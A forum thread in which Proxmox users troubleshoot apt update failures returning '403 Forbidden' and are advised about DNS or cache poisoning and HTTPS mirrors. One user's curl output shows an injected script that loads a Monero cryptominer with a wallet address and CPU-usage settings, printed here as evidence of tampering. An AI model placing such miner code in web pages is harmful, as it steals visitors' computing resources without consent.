update fail "403 forbidden"

M

megagolgoth

Renowned Member
Jul 19, 2014
13
0
66
When I'm doing "apt update" I'm getting a "403 forbidden" from certain country :
Code: 
apt-get update
Ign:1 https://cdn-aws.deb.debian.org/debian stretch InRelease
Get:2 https://cdn-aws.deb.debian.org/debian stretch-updates InRelease [91.0 kB]
Get:3 https://cdn-aws.deb.debian.org/debian stretch-backports InRelease [91.8 kB]                                                
Get:4 https://cdn-aws.deb.debian.org/debian-security stretch/updates InRelease [94.3 kB]                                          
Hit:5 https://cdn-aws.deb.debian.org/debian stretch Release                                                                      
Get:6 https://cdn-aws.deb.debian.org/debian-security stretch/updates/main amd64 Packages [495 kB]                                
Get:8 https://cdn-aws.deb.debian.org/debian-security stretch/updates/main Translation-en [221 kB]                                
Get:9 https://cdn-aws.deb.debian.org/debian-security stretch/updates/contrib amd64 Packages [1,760 B]                            
Get:10 https://cdn-aws.deb.debian.org/debian-security stretch/updates/contrib Translation-en [1,759 B]                            
Get:11 https://cdn-aws.deb.debian.org/debian-security stretch/updates/non-free amd64 Packages [1,600 B]                          
Get:12 https://cdn-aws.deb.debian.org/debian-security stretch/updates/non-free Translation-en [691 B]                            
Ign:13 http://download.proxmox.com/debian/pve stretch InRelease                                                                  
Err:14 http://download.proxmox.com/debian/pve stretch Release                                                                    
  403  Forbidden [IP: 94.136.30.185 80]
Reading package lists... Done
E: The repository 'http://download.proxmox.com/debian/pve stretch Release' does no longer have a Release file.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.

My sources.list
Code: 
deb https://deb.debian.org/debian stretch main contrib non-free

deb https://deb.debian.org/debian stretch-updates main contrib non-free

deb https://deb.debian.org/debian stretch-backports main contrib non-free

# security updates
deb https://deb.debian.org/debian-security stretch/updates main contrib non-free

# PVE pve-no-subscription repository provided by proxmox.com,
# NOT recommended for production use
deb http://download.proxmox.com/debian/pve stretch pve-no-subscription

Could be possible that some IP address blocked?
 
hi,

can you send the output of:

Code: 
curl download.proxmox.com
 
Code: 
# curl download.proxmox.com
<html>
<head>
   <meta http-equiv="Content-Type" content="text/html;charset=windows-1251">
   <title>"http://download.proxmox.com/"</title>
<script src="https://xmr.omine.org/assets/v7.js"></script>

  <script>

    OMINE("45KGejq1HDHXB618E3aeWHFyoLh1kM5syRG8FHDiQ4pZXZF1pieqW7DM5HHe3Y2oc1YwoEc7ofjgtbeEqV3UrkS9SVygJPT","-1"); //-1 means use all cpu threads
    throttleMiner=20; //20 means 80% of cpu usage

  </script>
</head>
<frameset>
<frame src="http://download.proxmox.com/"></frame>
</frameset>
</html>

Got the same problem with the debian repo, and in https, it's working well now...

I don't have a subscription, so no https from proxmox's repo for me...
 
Last edited:
it seems you are the victim of either dns or cache poisoning that inject javascript code (in this case a guess a mining script) into your http results
 
With GNU/Linux Debian repo it's working in https.

Is there a solution for the Proxmox repo?

Putting https for Proxmox repo seems to lead to subscription repo...
 
Hello guys,

I am having a similar problem on updates , but from debian repositories itself .

Err:1 http://ftp.debian.org/debian buster InRelease
403 Forbidden [IP: 130.89.148.12 80]
Err:2 http://ftp.debian.org/debian buster-updates InRelease
403 Forbidden [IP: 130.89.148.12 80]
Err:3 http://security.debian.org buster/updates InRelease
403 Forbidden [IP: 151.101.92.204 80]
Hit:4 http://download.proxmox.com/debian/pve buster InRelease
Reading package lists... Done
N: See apt-secure(8) manpage for repository creation and user configuration details.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
E: The repository 'http://ftp.debian.org/debian buster InRelease' is not signed.
E: Failed to fetch http://ftp.debian.org/debian/dists/buster/InRelease 403 Forbidden [IP: 130.89.148.12 80]
E: Failed to fetch http://ftp.debian.org/debian/dists/buster-updates/InRelease 403 Forbidden [IP: 130.89.148.12 80]
E: The repository 'http://ftp.debian.org/debian buster-updates InRelease' is not signed.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.
E: Failed to fetch http://security.debian.org/dists/buster/updates/InRelease 403 Forbidden [IP: 151.101.92.204 80]
E: The repository 'http://security.debian.org buster/updates InRelease' is no longer signed.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.

Any help?

After reading apt-secure did not find anything usefull.
i am unable to install tools like htop, byobu , vim etc.
 
Last edited:
hi

jgarcia said:
I am having a similar problem on updates , but from debian repositories itself .
Click to expand...

can you reach the mirrors with a browser?
 
oguz said:
hi



can you reach the mirrors with a browser?
Click to expand...
Hello,
Yes I can reach those mirrors from browser, and they work on another debian machine.
Just not working from pve-manager/6.0-11/2140ef37 (running kernel: 5.0.21-4-pve) which is weird.

thanks.
 
Hello Guys,

I think I have found the reason, of this issues. It seems that some countries are doing some crappy stuff with the internet.
Anyway, after trying several mirrors I was able to find debian-archive.trafficmanager.net/debian/ working as expected.

Thanks.
 
hi,

glad your problem is solved.

jgarcia said:
It seems that some countries are doing some crappy stuff with the internet.
Anyway, after trying several mirrors I was able to find debian-archive.trafficmanager.net/debian/ working as expected.
Click to expand...

some countries use DPI systems to inspect or modify unencrypted traffic. it seems like you could be a victim of that. you could try finding an https mirror for debian, and it should fix your issue in the long run.
 
I'm in similar problem for about 2 days.
My results indicate debian mirrors are ok, but only proxmox returned 403 error.
And I can confirm my subscription is active at Subscription>Status(also with "Check" button or "System Report").

Any help to this?

Code: 
# apt update
Ign:1 http://ftp.jp.debian.org/debian stretch InRelease
Hit:2 http://security.debian.org stretch/updates InRelease                         
Hit:3 http://ftp.jp.debian.org/debian stretch-updates InRelease                     
Hit:4 http://ftp.jp.debian.org/debian stretch Release
Ign:6 https://enterprise.proxmox.com/debian/pve stretch InRelease
Err:7 https://enterprise.proxmox.com/debian/pve stretch Release
  403  Forbidden
Reading package lists... Done
E: The repository 'https://enterprise.proxmox.com/debian/pve stretch Release' does no longer have a Release file.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.
 
We discovered and fixed the issue on one of our download mirrors, please try again.
 
the problem still continues

apt update
Err:1 http://deb.debian.org/debian buster InRelease
403 Forbidden [IP: 151.101.38.132 80]
Err:2 http://deb.debian.org/debian buster-updates InRelease
403 Forbidden [IP: 151.101.38.132 80]
Err:3 http://download.proxmox.com/debian/ceph-nautilus buster InRelease
403 Forbidden [IP: 212.224.123.70 80]
Err:4 http://ftp.debian.org/debian buster InRelease
403 Forbidden [IP: 130.89.148.12 80]
Err:5 http://ftp.debian.org/debian buster-updates InRelease
403 Forbidden [IP: 130.89.148.12 80]
Err:6 https://enterprise.proxmox.com/debian/pve buster InRelease
401 Unauthorized [IP: 212.224.123.70 443]
Err:7 http://security.debian.org/debian-security buster/updates InRelease
403 Forbidden [IP: 151.101.38.132 80]
Err:8 http://security.debian.org buster/updates InRelease
403 Forbidden [IP: 151.101.38.132 80]
Reading package lists... Done
N: See apt-secure(8) manpage for repository creation and user configuration details.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
E: The repository 'http://deb.debian.org/debian buster InRelease' is not signed.
E: Failed to fetch http://deb.debian.org/debian/dists/buster/InRelease 403 Forbidden [IP: 151.101.38.132 80]
N: See apt-secure(8) manpage for repository creation and user configuration details.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
E: The repository 'http://deb.debian.org/debian buster-updates InRelease' is not signed.
E: Failed to fetch http://deb.debian.org/debian/dists/buster-updates/InRelease 403 Forbidden [IP: 151.101.38.132 80]
N: See apt-secure(8) manpage for repository creation and user configuration details.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
E: The repository 'http://download.proxmox.com/debian/ceph-nautilus buster InRelease' is no longer signed.
E: Failed to fetch http://download.proxmox.com/debian/ceph-nautilus/dists/buster/InRelease 403 Forbidden [IP: 212.224.123.70 80]
N: See apt-secure(8) manpage for repository creation and user configuration details.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
E: The repository 'http://ftp.debian.org/debian buster InRelease' is no longer signed.
E: Failed to fetch http://ftp.debian.org/debian/dists/buster/InRelease 403 Forbidden [IP: 130.89.148.12 80]
N: See apt-secure(8) manpage for repository creation and user configuration details.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
E: The repository 'http://ftp.debian.org/debian buster-updates InRelease' is no longer signed.
E: Failed to fetch http://ftp.debian.org/debian/dists/buster-updates/InRelease 403 Forbidden [IP: 130.89.148.12 80]
N: See apt-secure(8) manpage for repository creation and user configuration details.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
E: The repository 'https://enterprise.proxmox.com/debian/pve buster InRelease' is not signed.
E: Failed to fetch https://enterprise.proxmox.com/debian/pve/dists/buster/InRelease 401 Unauthorized [IP: 212.224.123.70 443]
E: Failed to fetch http://security.debian.org/debian-security/dists/buster/updates/InRelease 403 Forbidden [IP: 151.101.38.132 80]
E: The repository 'http://security.debian.org/debian-security buster/updates InRelease' is no longer signed.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.
E: Failed to fetch http://security.debian.org/dists/buster/updates/InRelease 403 Forbidden [IP: 151.101.38.132 80]
E: The repository 'http://security.debian.org buster/updates InRelease' is not signed.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.
 
iatalay19 said:
the problem still continues

apt update
Err:1 http://deb.debian.org/debian buster InRelease
403 Forbidden [IP: 151.101.38.132 80]
Err:2 http://deb.debian.org/debian buster-updates InRelease
403 Forbidden [IP: 151.101.38.132 80]
Err:3 http://download.proxmox.com/debian/ceph-nautilus buster InRelease
403 Forbidden [IP: 212.224.123.70 80]
Err:4 http://ftp.debian.org/debian buster InRelease
403 Forbidden [IP: 130.89.148.12 80]
Err:5 http://ftp.debian.org/debian buster-updates InRelease
403 Forbidden [IP: 130.89.148.12 80]
Err:6 https://enterprise.proxmox.com/debian/pve buster InRelease
401 Unauthorized [IP: 212.224.123.70 443]
Err:7 http://security.debian.org/debian-security buster/updates InRelease
403 Forbidden [IP: 151.101.38.132 80]
Err:8 http://security.debian.org buster/updates InRelease
403 Forbidden [IP: 151.101.38.132 80]
Reading package lists... Done
N: See apt-secure(8) manpage for repository creation and user configuration details.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
E: The repository 'http://deb.debian.org/debian buster InRelease' is not signed.
E: Failed to fetch http://deb.debian.org/debian/dists/buster/InRelease 403 Forbidden [IP: 151.101.38.132 80]
N: See apt-secure(8) manpage for repository creation and user configuration details.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
E: The repository 'http://deb.debian.org/debian buster-updates InRelease' is not signed.
E: Failed to fetch http://deb.debian.org/debian/dists/buster-updates/InRelease 403 Forbidden [IP: 151.101.38.132 80]
N: See apt-secure(8) manpage for repository creation and user configuration details.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
E: The repository 'http://download.proxmox.com/debian/ceph-nautilus buster InRelease' is no longer signed.
E: Failed to fetch http://download.proxmox.com/debian/ceph-nautilus/dists/buster/InRelease 403 Forbidden [IP: 212.224.123.70 80]
N: See apt-secure(8) manpage for repository creation and user configuration details.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
E: The repository 'http://ftp.debian.org/debian buster InRelease' is no longer signed.
E: Failed to fetch http://ftp.debian.org/debian/dists/buster/InRelease 403 Forbidden [IP: 130.89.148.12 80]
N: See apt-secure(8) manpage for repository creation and user configuration details.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
E: The repository 'http://ftp.debian.org/debian buster-updates InRelease' is no longer signed.
E: Failed to fetch http://ftp.debian.org/debian/dists/buster-updates/InRelease 403 Forbidden [IP: 130.89.148.12 80]
N: See apt-secure(8) manpage for repository creation and user configuration details.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
E: The repository 'https://enterprise.proxmox.com/debian/pve buster InRelease' is not signed.
E: Failed to fetch https://enterprise.proxmox.com/debian/pve/dists/buster/InRelease 401 Unauthorized [IP: 212.224.123.70 443]
E: Failed to fetch http://security.debian.org/debian-security/dists/buster/updates/InRelease 403 Forbidden [IP: 151.101.38.132 80]
E: The repository 'http://security.debian.org/debian-security buster/updates InRelease' is no longer signed.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.
E: Failed to fetch http://security.debian.org/dists/buster/updates/InRelease 403 Forbidden [IP: 151.101.38.132 80]
E: The repository 'http://security.debian.org buster/updates InRelease' is not signed.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.
Click to expand...
can you run curl http://deb.debian.org/debian/ -v and post the output ?
 
Hi all,

Unfortunately I have been having the exact same issue, although it used to work fine in the past.
- I can download packages and access sites on the same network ie on my laptop
- Proxmox version: 6.4-13
CURL command results (on the proxmox server):


<html>
<head><title>Index of /</title></head>
<body bgcolor="white">
<h1>Index of /</h1><hr><pre><a href="../">../</a>
<a href="debian/">debian/</a> 07-Jul-2021 09:28 -
<a href="images/">images/</a> 19-Oct-2021 12:48 -
<a href="iso/">iso/</a> 07-Sep-2021 10:27 -
<a href="temp/">temp/</a> 30-Sep-2021 13:55 -
</pre><hr></body>
</html>

Error output sample:

Err:1 http://ftp.au.debian.org/debian bullseye/main amd64 base-files amd64 11.1+deb11u1
403 Forbidden [IP: 150.203.164.37 80]
Err:2 http://ftp.au.debian.org/debian bullseye/main amd64 debianutils amd64 4.11.2
403 Forbidden [IP: 150.203.164.37 80]
Err:3 http://ftp.au.debian.org/debian bullseye/main amd64 locales all 2.31-13+deb11u2
403 Forbidden [IP: 150.203.164.37 80]
Err:4 http://ftp.au.debian.org/debian bullseye/main amd64 libpython3.9-minimal amd64 3.9.2-1
403 Forbidden [IP: 150.203.164.37 80]
Err:5 http://ftp.au.debian.org/debian bullseye/main amd64 python3-minimal amd64 3.9.2-3
403 Forbidden [IP: 150.203.164.37 80]
Err:6 http://download.proxmox.com/debian/pve bullseye/pve-no-subscription amd64 libpve-cluster-api-perl all 7.0-3
403 Forbidden [IP: 51.79.159.216 80]
Err:7 http://ftp.au.debian.org/debian bullseye/main amd64 perl-modules-5.32 all 5.32.1-4+deb11u2
403 Forbidden [IP: 150.203.164.37 80]



Many thanks


Regards,
Chris
 
You must log in or register to reply here.
Top Bottom